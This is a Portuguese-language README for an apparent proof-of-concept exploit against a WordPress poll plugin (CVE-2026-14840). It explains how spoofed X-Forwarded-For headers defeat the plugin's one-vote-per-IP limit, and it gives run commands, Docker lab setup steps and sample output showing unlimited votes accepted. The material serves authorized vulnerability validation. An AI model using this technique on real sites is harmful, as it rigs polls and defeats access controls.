
Exploit de prova de conceito para bypass de limite de votos em plugin WordPress usando cabeçalhos X-Forwarded-For falsificados; inclui um laboratório Docker para validar o CVE-2026-14840 em instâncias WordPress autorizadas.
Autor: nullwhisper
Caso de uso: somente pesquisa de segurança autorizada / validação de vulnerabilidade.
O plugin YOP Poll, em versões < 7.0.6, aplica um limite de um voto por IP. O problema
é que, para obter o IP do cliente, ele verifica HTTP_CLIENT_IP e
HTTP_X_FORWARDED_FOR antes de REMOTE_ADDR. Ambos os cabeçalhos são controlados
pelo atacante, portanto um usuário não autenticado pode falsificar um novo IP a cada
requisição e registrar votos ilimitados.
.
├── cve_2026_14840_poc.py # Main PoC
├── lab/
│ ├── docker-compose.yml # WordPress lab
│ └── setup.php # Creates a poll + public test page
├── requirements.txt
└── README.md
pip3 install -r requirements.txt
python3 cve_2026_14840_poc.py -u https://target.com/page-with-poll -n 10
-n é o número de votos a registrar. Se mais de um for aceito, o alvo
está vulnerável.
O script alterna automaticamente para ?rest_route=/yop-poll/v1/votes quando o
site usa permalinks simples do WordPress e /wp-json/... retorna HTML.
Baixe o plugin vulnerável (não redistribua o binário do plugin):
mkdir -p lab/yop-poll
cd lab/yop-poll
wget https://downloads.wordpress.org/plugin/yop-poll.7.0.5.zip
unzip yop-poll.7.0.5.zip && rm yop-poll.7.0.5.zip
cd ../..
Inicie o laboratório:
cd lab
docker compose up -d
Conclua o instalador do WordPress em http://127.0.0.1:8090.
Crie a enquete e a página de teste:
docker exec -i lab-wpcli-1 php /tmp/setup.php
Execute o PoC:
python3 cve_2026_14840_poc.py -u 'http://127.0.0.1:8090/?page_id=4' -n 5
Testado em WordPress 6.8 + YOP Poll 7.0.5 com permalinks simples padrão.
Mesmo IP três vezes — o limite funciona:
#1 201 -> Vote recorded successfully.
#2 403 -> You have already voted on this poll.
#3 403 -> You have already voted on this poll.
IP diferente em cada requisição via X-Forwarded-For — o bypass funciona:
#1 201 -> Vote recorded successfully.
#2 201 -> Vote recorded successfully.
#3 201 -> Vote recorded successfully.
A tabela wp_yoppoll_votes cresce uma linha por IP falsificado, confirmando que o
limite por IP é contornado.
Este repositório contém apenas o PoC e os arquivos de orquestração do laboratório. O plugin YOP Poll tem licença GPL-2.0+, mas distribuir uma cópia completa é desnecessário, incha o repositório e pode causar problemas. Baixe a versão 7.0.5 do WordPress.org para o seu próprio laboratório.
Esta ferramenta é apenas para testes de segurança autorizados e pesquisa. Não a utilize contra sistemas que você não possui ou para os quais não tem permissão explícita para testar. O autor não é responsável pelo uso indevido ou por danos causados por este código.